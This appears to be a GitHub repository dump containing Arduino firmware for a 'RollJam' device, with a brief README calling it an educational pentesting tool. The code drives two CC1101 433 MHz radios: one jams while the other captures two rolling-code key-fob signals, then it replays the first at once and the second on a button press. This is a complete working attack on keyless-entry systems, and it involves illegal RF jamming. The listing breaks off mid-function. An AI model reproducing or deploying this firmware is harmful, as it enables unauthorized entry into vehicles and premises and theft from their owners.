├── README.md ├── Skematik.JPG └── rollJam_WITH_OLED_433_Final.ino /README.md: -------------------------------------------------------------------------------- 1 | # RollJam-Arduino 2 | THIS IS FOR EDUCATIONAL ONLY !!!! 3 | I added Display script and using Arduino nano for this Pentesting Tool 4 | Original source code is from this WEBSITE https://github.com/eliddell1/RollJam. I am learning from this Web Site 5 | -------------------------------------------------------------------------------- /Skematik.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wfhstudio/RollJam-Arduino/ab67d3ab8892bd60370eb2099ae434bb3d52184b/Skematik.JPG -------------------------------------------------------------------------------- /rollJam_WITH_OLED_433_Final.ino: -------------------------------------------------------------------------------- 1 | /** 2 | * Type of transfers 3 | */ 4 | #define WRITE_BURST 0x40 5 | #define READ_SINGLE 0x80 6 | #define READ_BURST 0xC0 7 | 8 | /** 9 | * Type of register 10 | */ 11 | #define CC1101_CONFIG_REGISTER READ_SINGLE 12 | #define CC1101_STATUS_REGISTER READ_BURST 13 | 14 | /** 15 | * PATABLE & FIFO's 16 | */ 17 | #define CC1101_PATABLE 0x3E // PATABLE address 18 | #define CC1101_TXFIFO 0x3F // TX FIFO address 19 | #define CC1101_RXFIFO 0x3F // RX FIFO address 20 | 21 | /** 22 | * Command strobes 23 | */ 24 | #define CC1101_SRES 0x30 // Reset CC1101 chip 25 | #define CC1101_SFSTXON 0x31 // Enable and calibrate frequency synthesizer (if MCSM0.FS_AUTOCAL=1). If in RX (with CCA): 26 | // Go to a wait state where only the synthesizer is running (for quick RX / TX turnaround). 27 | #define CC1101_SXOFF 0x32 // Turn off crystal oscillator 28 | #define CC1101_SCAL 0x33 // Calibrate frequency synthesizer and turn it off. SCAL can be strobed from IDLE mode without 29 | // setting manual calibration mode (MCSM0.FS_AUTOCAL=0) 30 | #define CC1101_SRX 0x34 // Enable RX. Perform calibration first if coming from IDLE and MCSM0.FS_AUTOCAL=1 31 | #define CC1101_STX 0x35 // In IDLE state: Enable TX. Perform calibration first if MCSM0.FS_AUTOCAL=1. 32 | // If in RX state and CCA is enabled: Only go to TX if channel is clear 33 | #define CC1101_SIDLE 0x36 // Exit RX / TX, turn off frequency synthesizer and exit Wake-On-Radio mode if applicable 34 | #define CC1101_SWOR 0x38 // Start automatic RX polling sequence (Wake-on-Radio) as described in Section 19.5 if 35 | // WORCTRL.RC_PD=0 36 | #define CC1101_SPWD 0x39 // Enter power down mode when CSn goes high 37 | #define CC1101_SFRX 0x3A // Flush the RX FIFO buffer. Only issue SFRX in IDLE or RXFIFO_OVERFLOW states 38 | #define CC1101_SFTX 0x3B // Flush the TX FIFO buffer. Only issue SFTX in IDLE or TXFIFO_UNDERFLOW states 39 | #define CC1101_SWORRST 0x3C // Reset real time clock to Event1 value 40 | #define CC1101_SNOP 0x3D // No operation. May be used to get access to the chip status byte 41 | 42 | /** 43 | * Status registers 44 | */ 45 | #define CC1101_PARTNUM 0x30 // Chip ID 46 | #define CC1101_VERSION 0x31 // Chip ID 47 | #define CC1101_FREQEST 0x32 // Frequency Offset Estimate from Demodulator 48 | #define CC1101_LQI 0x33 // Demodulator Estimate for Link Quality 49 | #define CC1101_RSSI 0x34 // Received Signal Strength Indication 50 | #define CC1101_MARCSTATE 0x35 // Main Radio Control State Machine State 51 | #define CC1101_WORTIME1 0x36 // High Byte of WOR Time 52 | #define CC1101_WORTIME0 0x37 // Low Byte of WOR Time 53 | #define CC1101_PKTSTATUS 0x38 // Current GDOx Status and Packet Status 54 | #define CC1101_VCO_VC_DAC 0x39 // Current Setting from PLL Calibration Module 55 | #define CC1101_TXBYTES 0x3A // Underflow and Number of Bytes 56 | #define CC1101_RXBYTES 0x3B // Overflow and Number of Bytes 57 | #define CC1101_RCCTRL1_STATUS 0x3C // Last RC Oscillator Calibration Result 58 | #define CC1101_RCCTRL0_STATUS 0x3D // Last RC Oscillator Calibration Result 59 | 60 | /** 61 | * CC1101 configuration registers 62 | */ 63 | #define CC1101_IOCFG2 0x00 // GDO2 Output Pin Configuration 64 | #define CC1101_IOCFG1 0x01 // GDO1 Output Pin Configuration 65 | #define CC1101_IOCFG0 0x02 // GDO0 Output Pin Configuration 66 | #define CC1101_FIFOTHR 0x03 // RX FIFO and TX FIFO Thresholds 67 | #define CC1101_SYNC1 0x04 // Sync Word, High Byte 68 | #define CC1101_SYNC0 0x05 // Sync Word, Low Byte 69 | #define CC1101_PKTLEN 0x06 // Packet Length 70 | #define CC1101_PKTCTRL1 0x07 // Packet Automation Control 71 | #define CC1101_PKTCTRL0 0x08 // Packet Automation Control 72 | #define CC1101_ADDR 0x09 // Device Address 73 | #define CC1101_CHANNR 0x0A // Channel Number 74 | #define CC1101_FSCTRL1 0x0B // Frequency Synthesizer Control 75 | #define CC1101_FSCTRL0 0x0C // Frequency Synthesizer Control 76 | #define CC1101_FREQ2 0x0D // Frequency Control Word, High Byte 77 | #define CC1101_FREQ1 0x0E // Frequency Control Word, Middle Byte 78 | #define CC1101_FREQ0 0x0F // Frequency Control Word, Low Byte 79 | #define CC1101_MDMCFG4 0x10 // Modem Configuration 80 | #define CC1101_MDMCFG3 0x11 // Modem Configuration 81 | #define CC1101_MDMCFG2 0x12 // Modem Configuration 82 | #define CC1101_MDMCFG1 0x13 // Modem Configuration 83 | #define CC1101_MDMCFG0 0x14 // Modem Configuration 84 | #define CC1101_DEVIATN 0x15 // Modem Deviation Setting 85 | #define CC1101_MCSM2 0x16 // Main Radio Control State Machine Configuration 86 | #define CC1101_MCSM1 0x17 // Main Radio Control State Machine Configuration 87 | #define CC1101_MCSM0 0x18 // Main Radio Control State Machine Configuration 88 | #define CC1101_FOCCFG 0x19 // Frequency Offset Compensation Configuration 89 | #define CC1101_BSCFG 0x1A // Bit Synchronization Configuration 90 | #define CC1101_AGCCTRL2 0x1B // AGC Control 91 | #define CC1101_AGCCTRL1 0x1C // AGC Control 92 | #define CC1101_AGCCTRL0 0x1D // AGC Control 93 | #define CC1101_WOREVT1 0x1E // High Byte Event0 Timeout 94 | #define CC1101_WOREVT0 0x1F // Low Byte Event0 Timeout 95 | #define CC1101_WORCTRL 0x20 // Wake On Radio Control 96 | #define CC1101_FREND1 0x21 // Front End RX Configuration 97 | #define CC1101_FREND0 0x22 // Front End TX Configuration 98 | #define CC1101_FSCAL3 0x23 // Frequency Synthesizer Calibration 99 | #define CC1101_FSCAL2 0x24 // Frequency Synthesizer Calibration 100 | #define CC1101_FSCAL1 0x25 // Frequency Synthesizer Calibration 101 | #define CC1101_FSCAL0 0x26 // Frequency Synthesizer Calibration 102 | #define CC1101_RCCTRL1 0x27 // RC Oscillator Configuration 103 | #define CC1101_RCCTRL0 0x28 // RC Oscillator Configuration 104 | #define CC1101_FSTEST 0x29 // Frequency Synthesizer Calibration Control 105 | #define CC1101_PTEST 0x2A // Production Test 106 | #define CC1101_AGCTEST 0x2B // AGC Test 107 | #define CC1101_TEST2 0x2C // Various Test Settings 108 | #define CC1101_TEST1 0x2D // Various Test Settings 109 | #define CC1101_TEST0 0x2E // Various Test Settings 110 | 111 | /** 112 | * Default Values 113 | */ 114 | #define CC1101_DEFVAL_IOCFG2 0x2E // GDO2 Output Pin Configuration 115 | #define CC1101_DEFVAL_IOCFG1 0x2E // GDO1 Output Pin Configuration 116 | #define CC1101_DEFVAL_IOCFG0 0x06 // GDO0 Output Pin Configuration 117 | #define CC1101_DEFVAL_FIFOTHR 0x47 // RX FIFO and TX FIFO Thresholds 118 | #define CC1101_DEFVAL_SYNC1 0xAA // Synchronization word, high byte AB 119 | #define CC1101_DEFVAL_SYNC0 0x00 // Synchronization word, low byte FC 120 | 121 | #define CC1101_DEFVAL_PKTLEN 0x19 // Packet Length FF 122 | #define CC1101_DEFVAL_PKTCTRL1 0x04 // Packet Automation Control 123 | #define CC1101_DEFVAL_PKTCTRL0 0x04 // Packet Automation Control 124 | 125 | #define CC1101_DEFVAL_ADDR 0x00 // Device Address 126 | #define CC1101_DEFVAL_CHANNR 0x00 // Channel Number 127 | 128 | #define CC1101_DEFVAL_FSCTRL1 0x06 // Frequency Synthesizer Control 129 | #define CC1101_DEFVAL_FSCTRL0 0x00 // Frequency Synthesizer Control 130 | 131 | //RX RF 1 Carrier frequency RX = 433.795 MHz --------------------------------------------- 132 | //#define CC1101_DEFVAL_FREQ2_433 0x10 // Frequency Control Word, High Byte 133 | //#define CC1101_DEFVAL_FREQ1_433 0xAF // Frequency Control Word, Middle Byte 134 | //#define CC1101_DEFVAL_FREQ0_433 0xC1 // Frequency Control Word, Low Byte 38 135 | 136 | // RX RF 2 Carrier frequency RX = 433.925 MHz ---------------used--------------------------- 137 | //#define CC1101_DEFVAL_FREQ2_433 0x10 // Frequency Control Word, High Byte 138 | //#define CC1101_DEFVAL_FREQ1_433 0xB0 // Frequency Control Word, Middle Byte 139 | //#define CC1101_DEFVAL_FREQ0_433 0xB3 // Frequency Control Word, Low Byte 38 140 | 141 | // RX RF 2 Carrier frequency RX = 433.967834 MHz ---------------used--------------------------- 142 | #define CC1101_DEFVAL_FREQ2_433 0x10 // Frequency Control Word, High Byte 143 | #define CC1101_DEFVAL_FREQ1_433 0xB0 // Frequency Control Word, Middle Byte 144 | #define CC1101_DEFVAL_FREQ0_433 0xEA // Frequency Control Word, Low Byte 38 145 | 146 | // RX RF 2 Carrier frequency RX = 433.85 MHz ---------------used--------------------------- 147 | //#define CC1101_DEFVAL_FREQ2_433 0x10 // Frequency Control Word, High Byte 148 | //#define CC1101_DEFVAL_FREQ1_433 0xAF // Frequency Control Word, Middle Byte 149 | //#define CC1101_DEFVAL_FREQ0_433 0xC1 // Frequency Control Word, Low Byte 38 150 | 151 | //JAMMER RF 1 Carrier frequency Jammer -------------------------------------------------------- 152 | //#define CC1101_DEFVAL_FREQ2_433_JAMMER 0x10 // Frequency Control Word, High Byte 153 | //#define CC1101_DEFVAL_FREQ1_433_JAMMER 0xAC // Frequency Control Word, Middle Byte 154 | //#define CC1101_DEFVAL_FREQ0_433_JAMMER 0x4E // Frequency Control Word, Low Byte 38 155 | 156 | // JAMMER RF 2 Carrier frequency jammer = 433.795 MHz ------------used--------------- 157 | #define CC1101_DEFVAL_FREQ2_433_JAMMER 0x10 // Frequency Control Word, High Byte 158 | #define CC1101_DEFVAL_FREQ1_433_JAMMER 0xAF // Frequency Control Word, Middle Byte 159 | #define CC1101_DEFVAL_FREQ0_433_JAMMER 0xC1 // Frequency Control Word, Low Byte 38 160 | 161 | #define CC1101_DEFVAL_MDMCFG4 0xF6 // Modem Configuration 162 | #define CC1101_DEFVAL_MDMCFG3 0x9F // Modem Configuration C3 163 | #define CC1101_DEFVAL_MDMCFG2 0x32 // Modem Configuration 164 | #define CC1101_DEFVAL_MDMCFG1 0x02 // Modem Configuration 02 ?????????????? 165 | #define CC1101_DEFVAL_MDMCFG0 0xF8 // Modem Configuration F8 166 | #define CC1101_DEFVAL_DEVIATN 0x15 // Modem Deviation Setting 167 | #define CC1101_DEFVAL_MCSM2 0x07 // Main Radio Control State Machine Configuration 168 | #define CC1101_DEFVAL_MCSM1 0x20 // Main Radio Control State Machine Configuration 169 | #define CC1101_DEFVAL_MCSM0 0x18 // Main Radio Control State Machine Configuration 170 | #define CC1101_DEFVAL_FOCCFG 0x16 // Frequency Offset Compensation Configuration 171 | #define CC1101_DEFVAL_BSCFG 0x6C // Bit Synchronization Configuration 172 | #define CC1101_DEFVAL_AGCCTRL2 0x03 // AGC Control 173 | #define CC1101_DEFVAL_AGCCTRL1 0x40 // AGC Control 174 | #define CC1101_DEFVAL_AGCCTRL0 0x91 // AGC Control 175 | #define CC1101_DEFVAL_WOREVT1 0x87 // High Byte Event0 Timeout 176 | #define CC1101_DEFVAL_WOREVT0 0x6B // Low Byte Event0 Timeout 177 | #define CC1101_DEFVAL_WORCTRL 0xFB // Wake On Radio Control 178 | #define CC1101_DEFVAL_FREND1 0x56 // Front End RX Configuration 179 | #define CC1101_DEFVAL_FREND0 0x11 // Front End TX Configuration 180 | #define CC1101_DEFVAL_FSCAL3 0xE9 // Frequency Synthesizer Calibration 181 | #define CC1101_DEFVAL_FSCAL2 0x2A // Frequency Synthesizer Calibration 182 | #define CC1101_DEFVAL_FSCAL1 0x00 // Frequency Synthesizer Calibration 183 | #define CC1101_DEFVAL_FSCAL0 0x1F // Frequency Synthesizer Calibration 184 | #define CC1101_DEFVAL_RCCTRL1 0x41 // RC Oscillator Configuration 185 | #define CC1101_DEFVAL_RCCTRL0 0x00 // RC Oscillator Configuration 186 | #define CC1101_DEFVAL_FSTEST 0x59 // Frequency Synthesizer Calibration Control 187 | #define CC1101_DEFVAL_PTEST 0x7F // Production Test 188 | #define CC1101_DEFVAL_AGCTEST 0x3F // AGC Test 189 | #define CC1101_DEFVAL_TEST2 0x88 // Various Test Settings 88 190 | #define CC1101_DEFVAL_TEST1 0x35 // Various Test Settings 31 191 | #define CC1101_DEFVAL_TEST0 0x0B // Various Test Settings 0b 192 | 193 | /** 194 | * Macros 195 | */ 196 | // Enter Rx state 197 | #define setRxState() cmdStrobe(CC1101_SRX) 198 | // Enter Tx state 199 | #define setTxState() cmdStrobe(CC1101_STX) 200 | // Enter IDLE state 201 | #define setIdleState() cmdStrobe(CC1101_SIDLE) 202 | // Flush Rx FIFO 203 | #define flushRxFifo() cmdStrobe(CC1101_SFRX) 204 | // Flush Tx FIFO 205 | #define flushTxFifo() cmdStrobe(CC1101_SFTX) 206 | 207 | // Select (SPI) CC1101 208 | #define cc1101_Select() if(chipSelectRX) digitalWrite(cs_rx, LOW); else digitalWrite(cs_jam, LOW) 209 | // Deselect (SPI) CC1101 210 | #define cc1101_Deselect() if(chipSelectRX) digitalWrite(cs_rx, HIGH); else digitalWrite(cs_jam, HIGH) 211 | // Wait until SPI MISO line goes low 212 | #define wait_Miso() while(bitRead(PORT_SPI_MISO, BIT_SPI_MISO)) 213 | // Wait until rx GDO0 line goes high 214 | #define wait_GDO0_high() while(!get_GDO0_state()) 215 | // Wait until rx GDO0 line goes low 216 | #define wait_GDO0_low() while(get_GDO0_state()) 217 | // Read CC1101 Config register 218 | #define readConfigReg(regAddr) readReg(regAddr, CC1101_CONFIG_REGISTER) 219 | // Read CC1101 Status register 220 | #define readStatusReg(regAddr) readReg(regAddr, CC1101_STATUS_REGISTER) 221 | // Get Marcstate 222 | #define getMarcstate() (readStatusReg(CC1101_MARCSTATE) & 0x1F) 223 | 224 | //Defince gdo0_rx port/bit 225 | #define PORT_GDO0_RX PIND 226 | #define BIT_GDO0_RX 2 227 | 228 | //Defince gdo0_jam port/bit 229 | #define PORT_GDO0_JAM PIND 230 | #define BIT_GDO0_JAM 3 231 | 232 | //Define MISO port/bit 233 | #define PORT_SPI_MISO PINB 234 | #define BIT_SPI_MISO 4 235 | 236 | /** 237 | * Define the CCPACKET class which will handle packets. 238 | * 239 | * Buffer and data lengths 240 | */ 241 | #define CC1101_BUFFER_LEN 64 242 | #define CC1101_DATA_LEN CC1101_BUFFER_LEN - 3 243 | 244 | class CCPACKET 245 | { 246 | public: 247 | /** 248 | * Data length 249 | */ 250 | byte length; 251 | 252 | /** 253 | * Data buffer 254 | */ 255 | byte data[CC1101_DATA_LEN]; 256 | 257 | /** 258 | * CRC OK flag 259 | */ 260 | boolean crc_ok; 261 | 262 | /** 263 | * Received Strength Signal Indication 264 | */ 265 | byte rssi; 266 | 267 | /** 268 | * Link Quality Index 269 | */ 270 | byte lqi; 271 | }; 272 | 273 | /** 274 | * Pin numbers, Global variables 275 | */ 276 | 277 | #include 278 | #include 279 | #include 280 | #include 281 | 282 | #define OLED_RESET 4 283 | Adafruit_SSD1306 display(OLED_RESET); 284 | 285 | int cs_rx = 5; //10 286 | int cs_jam = 6; //20 287 | int gdo0_rx = 2; //OK 288 | 289 | 290 | int gdo0_jam = 3; 291 | 292 | int mosi = 11; //ok 293 | int miso = 12; //ok 294 | //int sck = 13; 295 | 296 | int pushButton = 8; //4 297 | 298 | int packetCounter; 299 | CCPACKET jamData; 300 | 301 | boolean chipSelectRX; 302 | boolean jammin= true; 303 | volatile bool rxTrigger = false; 304 | 305 | CCPACKET receivedPackets[2]; 306 | 307 | void setup() 308 | { 309 | display.begin(SSD1306_SWITCHCAPVCC, 0x3C); 310 | display.clearDisplay(); 311 | display.setTextSize(1); 312 | display.setTextColor(WHITE); 313 | display.setCursor(12,8); 314 | display.println("ROLL JAM RF 433.96"); 315 | display.setCursor(12,20); 316 | display.println("WizzTech 2021-2022"); 317 | display.display(); 318 | delay(5000); 319 | 320 | // Pin setup 321 | pinMode(cs_rx, OUTPUT); 322 | pinMode(cs_jam, OUTPUT); 323 | pinMode(gdo0_rx, INPUT); 324 | pinMode(gdo0_jam, INPUT); 325 | pinMode(pushButton, INPUT); 326 | 327 | Serial.begin(9600); 328 | SPI.begin(); 329 | delay(2000); 330 | 331 | chipSelectRX = false; 332 | chip_reset(); 333 | delay(100); 334 | chipSelectRX = true; 335 | chip_reset(); 336 | delay(100); 337 | 338 | setupJammer(); 339 | Serial.println("Jammer initialized."); 340 | Serial.println(""); 341 | display.clearDisplay(); 342 | display.setTextSize(1); 343 | display.setTextColor(WHITE); 344 | display.setCursor(12,8); 345 | display.println("Jammer initialized."); 346 | display.display(); 347 | delay(1000); 348 | setupReceiver(); 349 | Serial.println("Receiver initialized, entered RX state."); 350 | Serial.println(""); 351 | //display.clearDisplay(); 352 | display.setTextSize(1); 353 | display.setTextColor(WHITE); 354 | display.setCursor(12,20); 355 | display.println("Receiver ready."); 356 | display.display(); 357 | delay(1000); 358 | startJammer(); 359 | delay(500); 360 | replayFirst(); 361 | replaySecond(); 362 | 363 | } 364 | void setupJammer() 365 | { 366 | chipSelectRX = false; 367 | cc1101_Select(); 368 | wait_Miso(); 369 | setDefaultRegs(); 370 | writeReg(CC1101_FREQ1, CC1101_DEFVAL_FREQ1_433_JAMMER); 371 | writeReg(CC1101_FREQ0, CC1101_DEFVAL_FREQ0_433_JAMMER); 372 | writeReg(CC1101_SYNC1, 0x47); 373 | writeReg(CC1101_SYNC0, 0x91); 374 | writeReg(CC1101_MDMCFG4, 0xF5); 375 | writeReg(CC1101_MDMCFG3, 0xE4); 376 | writeReg(CC1101_MDMCFG2, 0x30); 377 | writeReg(CC1101_MDMCFG1, 0x23); 378 | writeReg(CC1101_MDMCFG0, 0xFF); 379 | set_patable_jam(); 380 | cc1101_Deselect(); 381 | CCPACKET jamPacket = getJamPacket(); 382 | jamData = jamPacket; 383 | } 384 | void setupReceiver() 385 | { 386 | chipSelectRX = true; 387 | cc1101_Select(); 388 | wait_Miso(); 389 | setDefaultRegs(); 390 | set_patable(); 391 | setRxState(); 392 | attachInterrupt(digitalPinToInterrupt(2), isr, FALLING); 393 | cc1101_Deselect(); 394 | } 395 | void startJammer() 396 | { 397 | Serial.println("Starting up the jammer....."); 398 | Serial.println(""); 399 | display.clearDisplay(); 400 | display.setTextSize(1); 401 | display.setTextColor(WHITE); 402 | display.setCursor(12,8); 403 | display.println("Starting Jammer !!"); 404 | display.display(); 405 | while(jammin) 406 | { 407 | chipSelectRX = false; 408 | rxTrigger = false; 409 | cc1101_Select(); 410 | wait_Miso(); 411 | 412 | delayMicroseconds(8000); 413 | sendPacket(jamData); 414 | if(rxTrigger) 415 | { 416 | cc1101_Deselect(); 417 | getData(); 418 | } 419 | } 420 | detachInterrupt(digitalPinToInterrupt(2)); 421 | chipSelectRX = false; 422 | cc1101_Select(); 423 | wait_Miso(); 424 | chip_reset(); 425 | setupJammer(); 426 | //- 427 | for(int i = 0; i < 5; i++) 428 | { 429 | delayMicroseconds(8000); 430 | sendPacket(jamData); 431 | } 432 | //Enter IDLE state with the jammer. 433 | chipSelectRX = false; 434 | cmdStrobe(CC1101_SIDLE); 435 | } 436 | 437 | void replayFirst() 438 | { 439 | Serial.println("Starting the replay..."); 440 | Serial.println(""); 441 | detachInterrupt(digitalPinToInterrupt(2)); 442 | chipSelectRX = true; 443 | cc1101_Select(); 444 | wait_Miso(); 445 | 446 | for(int i=0; i < 3; i++) 447 | { 448 | sendPacket(receivedPackets[0]); 449 | delayMicroseconds(12800); 450 | } 451 | Serial.println("Replay packet: "); 452 | for (int i = 0; i < receivedPackets[0].length; i++) 453 | { 454 | Serial.print("0x"); 455 | Serial.print(receivedPackets[0].data[i], HEX); 456 | Serial.println(""); 457 | } 458 | } 459 | void replaySecond() 460 | { 461 | Serial.println(""); 462 | Serial.println("Waiting for button press..."); 463 | Serial.println(""); 464 | display.clearDisplay(); 465 | display.setTextSize(1); 466 | display.setTextColor(WHITE); 467 | display.setCursor(12,8); 468 | display.println("Press button"); 469 | display.setCursor(12,20); 470 | display.println("to send signal..!"); 471 | display.display(); 472 | 473 | while(digitalRead(pushButton) == LOW) 474 | { 475 | delay(100); 476 | } 477 | chipSelectRX = true; 478 | cc1101_Select(); 479 | wait_Miso(); 480 | 481 | for(int i=0; i < 3; i++) 482 | { 483 | Serial.println("Send received packets ! "); 484 | display.clearDisplay(); 485 | display.setTextSize(1); 486 | display.setTextColor(WHITE); 487 | display.setCursor(12,8); 488 | display.println("Send received"); 489 | display.setCursor(12,20); 490 | display.println("packets done ... !"); 491 | display.display(); 492 | 493 | sendPacket(receivedPackets[1]); 494 | delayMicroseconds(12800); 495 | } 496 | for (int i = 0; i < receivedPackets[1].length; i++) 497 | { 498 | Serial.print("0x"); 499 | Serial.print(receivedPackets[1].data[i], HEX); 500 | Serial.println(""); 501 | } 502 | 503 | cc1101_Deselect(); 504 | } 505 | CCPACKET getJamPacket() 506 | { 507 | CCPACKET jamData; 508 | byte thing[10] = {0x92, 0x81, 0xDA, 0x39, 0xDC, 0x27, 0x49, 0xC3, 0xAC, 0x15}; 509 | memcpy(jamData.data, thing, sizeof(jamData.data)); 510 | 511 | jamData.length = sizeof(thing); 512 | return jamData; 513 | } 514 | void getData() 515 | { 516 | detachInterrupt(digitalPinToInterrupt(2)); 517 | CCPACKET packet; 518 | 519 | rxTrigger = false; 520 | chipSelectRX = true; 521 | cc1101_Select(); 522 | wait_Miso(); 523 | 524 | if(receivePacket(&packet) > 0) 525 | { 526 | if (packetCounter == 0) 527 | { 528 | receivedPackets[0] = packet; 529 | Serial.println("Got one packet !"); 530 | Serial.println(""); 531 | display.clearDisplay(); 532 | display.setTextSize(1); 533 | display.setTextColor(WHITE); 534 | display.setCursor(12,8); 535 | display.println("Got one packet !"); 536 | display.display(); 537 | packetCounter++; 538 | // chip_reset(); 539 | // setupReceiver(); 540 | } 541 | else if(packetCounter == 1) 542 | { 543 | //Check for same packet. (Button pressed longer) 544 | if(receivedPackets[0].data[5] == packet.data[5] && receivedPackets[0].data[6] == packet.data[6]) 545 | { 546 | delayMicroseconds(100); 547 | } 548 | else 549 | { 550 | receivedPackets[1] = packet; 551 | jammin = false; 552 | Serial.println("Got the second one !"); 553 | Serial.println(""); 554 | //display.clearDisplay(); 555 | display.setTextSize(1); 556 | display.setTextColor(WHITE); 557 | display.setCursor(12,20); 558 | display.println("Got second packet ! "); 559 | display.display(); 560 | packetCounter = 0; 561 | } 562 | } 563 | } 564 | //FFor ciklus késleltetéshez 565 | cc1101_Deselect(); 566 | attachInterrupt(digitalPinToInterrupt(2), isr, FALLING); 567 | } 568 | 569 | /** 570 | * sendData 571 | * 572 | * Send data packet via RF 573 | * 574 | * 'packet' Packet to be transmitted. First byte is the destination address 575 | * 576 | * Return: 577 | * True if the transmission succeeds 578 | * False otherwise 579 | */ 580 | 581 | boolean sendPacket(CCPACKET packet) 582 | { 583 | byte marcState; 584 | bool res = false; 585 | 586 | //Declare to be in Tx state. Avoid receive while transmit. 587 | setRxState(); 588 | 589 | while(((marcState = getMarcstate()) & 0x1F) != 0x0D) 590 | { 591 | 592 | if (marcState == 0x11) //RX OVERFLOW 593 | flushRxFifo(); 594 | } 595 | 596 | delayMicroseconds(500); 597 | 598 | //Set data length at the firs position of TX FIFO 599 | writeBurstReg(CC1101_TXFIFO, packet.data, packet.length); 600 | 601 | //Enter TX state 602 | setTxState(); 603 | 604 | //Check that TX entered 605 | marcState = getMarcstate() & 0x1F; 606 | if((marcState != 0x13) && (marcState != 0x14) && (marcState != 0x15)){ 607 | setIdleState(); //Enter IDLE 608 | flushTxFifo(); //Flush FIFO 609 | setRxState(); //Back to RX 610 | 611 | return false; 612 | } 613 | 614 | //Wait for the sync word transmission 615 | wait_GDO0_high(); 616 | 617 | //Wait for the end of packet transmision 618 | wait_GDO0_low(); 619 | 620 | if((readStatusReg(CC1101_TXBYTES) & 0x7F) == 0) 621 | { 622 | res = true; 623 | } 624 | 625 | setIdleState(); 626 | flushTxFifo(); 627 | setRxState(); 628 | 629 | return res; 630 | } 631 | 632 | /** 633 | * receiveData 634 | * 635 | * Read data packet from RX FIFO 636 | * 637 | * 'packet' Container for the packet received 638 | * 639 | * Return: 640 | * Amount of bytes received 641 | */ 642 | 643 | 644 | byte receivePacket(CCPACKET * packet) 645 | { 646 | byte val; 647 | byte rxBytes = readStatusReg(CC1101_RXBYTES); 648 | 649 | //FIFO OVERFLOW? 650 | if(getMarcstate() == 0x11) 651 | { 652 | setIdleState(); //Enter IDLE 653 | flushRxFifo(); 654 | packet->length = 0; 655 | } 656 | 657 | //Any byte to read? 658 | else if(rxBytes & 0x7F) 659 | { 660 | //Read data length 661 | packet->length = readStatusReg(CC1101_RXBYTES) & 0x7F; 662 | 663 | //If packet too long 664 | if(packet->length > CC1101_DATA_LEN) 665 | { 666 | packet->length = 0; //Discard packet 667 | } 668 | else 669 | { 670 | //Read data packet 671 | readBurstReg(packet->data, CC1101_RXFIFO, packet->length); 672 | //Read RSSI 673 | packet->rssi = readConfigReg(CC1101_RXFIFO); 674 | //Read LQI and CRC OK 675 | val = readConfigReg(CC1101_RXFIFO); 676 | packet->lqi = val & 0x7f; 677 | packet->crc_ok = bitRead(val, 7); 678 | } 679 | //Flush FIFO 680 | flushRxFifo(); 681 | } 682 | else 683 | packet->length = 0; 684 | 685 | //Back to RX 686 | setRxState(); 687 | 688 | return packet->length; 689 | } 690 | 691 | 692 | byte readReg(byte regAddr, byte regType) 693 | { 694 | 695 | byte addr, val; 696 | addr = regAddr | regType; 697 | 698 | cc1101_Select(); 699 | wait_Miso(); 700 | SPI.transfer(addr); 701 | val = SPI.transfer(0x42); 702 | cc1101_Deselect(); 703 | 704 | return val; 705 | } 706 | 707 | void readBurstReg(byte * myBuffer, byte regAddr, byte len) 708 | { 709 | byte addr, i; 710 | 711 | addr = regAddr | READ_BURST; 712 | cc1101_Select(); 713 | wait_Miso(); 714 | SPI.transfer(addr); 715 | for(i=0; i